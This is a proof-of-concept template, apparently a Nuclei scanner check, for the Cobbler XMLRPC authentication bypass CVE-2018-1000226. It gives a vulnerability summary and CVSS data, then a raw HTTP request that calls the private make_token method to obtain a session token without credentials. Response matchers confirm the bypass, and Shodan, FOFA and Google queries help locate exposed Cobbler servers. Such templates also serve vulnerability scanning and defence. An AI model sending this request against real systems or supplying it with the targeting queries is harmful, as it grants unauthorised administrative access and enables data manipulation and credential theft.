Cobbler versions 2.6.11+, but code inspection suggests at least 2.0.0+ and possibly even older versions, may be vulnerable to an authentication bypass vulnerability in XMLRPC API (/cobbler_api) that can result in privilege escalation, data manipulation or exfiltration, and LDAP credential harvesting. This attack appear to be exploitable via "network connectivity". Taking advantage of improper validation of security tokens in API endpoints. Please note this is a different issue than CVE-2018-10931.
PoC
id: CVE-2018-1000226
info:
name: Cobbler - Authentication Bypass
author: c-sh0
severity: critical
description: Cobbler versions 2.6.11+, but code inspection suggests at least 2.0.0+ and possibly even older versions, may be vulnerable to an authentication bypass vulnerability in XMLRPC API (/cobbler_api) that can result in privilege escalation, data manipulation or exfiltration, and LDAP credential harvesting. This attack appear to be exploitable via "network connectivity". Taking advantage of improper validation of security tokens in API endpoints. Please note this is a different issue than CVE-2018-10931.
impact: |
Unauthenticated attackers can bypass authentication to gain unauthorized access, leading to privilege escalation, data manipulation or exfiltration, and LDAP credential harvesting.
remediation: |
Apply the latest security patches or updates provided by the vendor to fix the authentication bypass vulnerability in Cobbler.
reference:
- https://github.com/cobbler/cobbler/issues/1916
- https://movermeyer.com/2018-08-02-privilege-escalation-exploits-in-cobblers-api/
- https://nvd.nist.gov/vuln/detail/CVE-2018-1000226
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2018-1000226
cwe-id: CWE-732
epss-score: 0.12584
epss-percentile: 0.96027
cpe: cpe:2.3:a:cobblerd:cobbler:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: cobblerd
product: cobbler
shodan-query: http.title:"cobbler web interface"
fofa-query: title="cobbler web interface"
google-query: intitle:"cobbler web interface"
tags: cve2018,cve,cobbler,auth-bypass,cobblerd,vuln
http:
- raw:
- |
POST {{BaseURL}}/cobbler_api HTTP/1.1
Host: {{Hostname}}
Content-Type: text/xml
<?xml version='1.0'?>
<methodCall>
<methodName>_CobblerXMLRPCInterface__make_token</methodName>
<params>
<param>
<value>
<string>cobbler</string>
</value>
</param>
</params>
</methodCall>
matchers-condition: and
matchers:
- type: dsl
dsl:
- "!contains(tolower(body), '<name>faultCode</name>')"
- type: word
part: header
words:
- "Content-Type: text/xml"
- type: word
part: body
words:
- "<methodResponse>"
- type: regex
part: body
regex:
- "(.*[a-zA-Z0-9].+==)</string></value>"
- type: status
status:
- 200
# digest: 4a0a00473045022100a5016e5d7fd244aa53830a13b8c1f9f025f566c408723525c61dc8351141389f02206bc438a8cfdbb3557eb7256ef31651159036f90da3cddf4f5a2a886eb3ac575c:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.